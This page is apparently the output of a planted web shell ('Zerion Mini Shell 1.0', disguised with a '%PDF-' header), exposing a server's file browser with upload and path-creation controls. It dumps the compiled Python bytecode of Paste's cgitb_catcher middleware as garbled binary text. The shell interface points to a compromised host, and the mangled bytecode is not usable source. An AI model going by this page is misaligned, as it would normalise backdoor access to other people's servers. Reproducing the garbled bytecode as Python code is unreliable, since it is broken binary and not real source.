%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib/python2.7/site-packages/paste/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib/python2.7/site-packages/paste/cgitb_catcher.pyo

�
a�Nc@s�dZddlZddlmZddlZddlmZdefd��YZdefd��YZ	edd	d
d�ZdS(s�
WSGI middleware

Captures any exceptions and prints a pretty report.  See the `cgitb
documentation <http://python.org/doc/current/lib/module-cgitb.html>`_
for more.
i����N(tStringIO(t
converterst	NoDefaultcBseZRS((t__name__t
__module__(((sD/opt/alt/python27/lib/python2.7/site-packages/paste/cgitb_catcher.pyRstCgitbMiddlewarecBs;eZdedddd�Zd�Zd�Zd�ZRS(ithtmlcCs�||_|dkri}n|tkr<|jd�}nt|t�r]tj|�}n||_||_	t
|�|_||_dS(Ntdebug(
tapptNoneRtgett
isinstancet
basestringRtasbooltdisplaytlogdirtinttcontexttformat(tselfRtglobal_confRRRR((sD/opt/alt/python27/lib/python2.7/site-packages/paste/cgitb_catcher.pyt__init__s				cCsiy&|j||�}|j||�SWn<tj�}|ddg|�|j||�}|gSXdS(Ns500 Internal Server Errorscontent-types	text/html(scontent-types	text/html(Rt
catching_itertsystexc_infotexception_handler(Rtenvirontstart_responsetapp_iterRtresponse((sD/opt/alt/python27/lib/python2.7/site-packages/paste/cgitb_catcher.pyt__call__)sccs�|st�nt}y<x|D]}|VqWt|d�rPt}|j�nWn{|jtj�|�}|r�t|d�r�y|j�Wq�|jtj�|�}|d|7}q�Xn|VnXdS(Ntcloses$<hr noshade>Error in .close():<br>%s(t
StopIterationtFalsethasattrtTrueRRRR(RRRterror_on_closetvRtclose_response((sD/opt/alt/python27/lib/python2.7/site-packages/paste/cgitb_catcher.pyR5s*	
	cCsSt�}tjd|d|jd|jd|jd|j�}||�|j�S(NtfileRRRR(RtcgitbtHookRRRRtgetvalue(RRRt
dummy_filethook((sD/opt/alt/python27/lib/python2.7/site-packages/paste/cgitb_catcher.pyRLs				
N(RRR	RRRRR(((sD/opt/alt/python27/lib/python2.7/site-packages/paste/cgitb_catcher.pyRs
		iRcCsvddlm}|tk	r+||�}nd|krN||d�|d<nt|d|d|d|d|d|�S(	s�
    Wraps the application in the ``cgitb`` (standard library)
    error catcher.
        
      display:
        If true (or debug is set in the global configuration)
        then the traceback will be displayed in the browser

      logdir:
        Writes logs of all errors in that directory

      context:
        Number of lines of context to show around each line of
        source code
    i����(R
RRRRRR(tpaste.deploy.convertersR
RR(RRRRRRR
((sD/opt/alt/python27/lib/python2.7/site-packages/paste/cgitb_catcher.pytmake_cgitb_middlewareVs(t__doc__R(t	cStringIORRt
paste.utilRtobjectRRR	R.(((sD/opt/alt/python27/lib/python2.7/site-packages/paste/cgitb_catcher.pyt<module>
sB

Zerion Mini Shell 1.0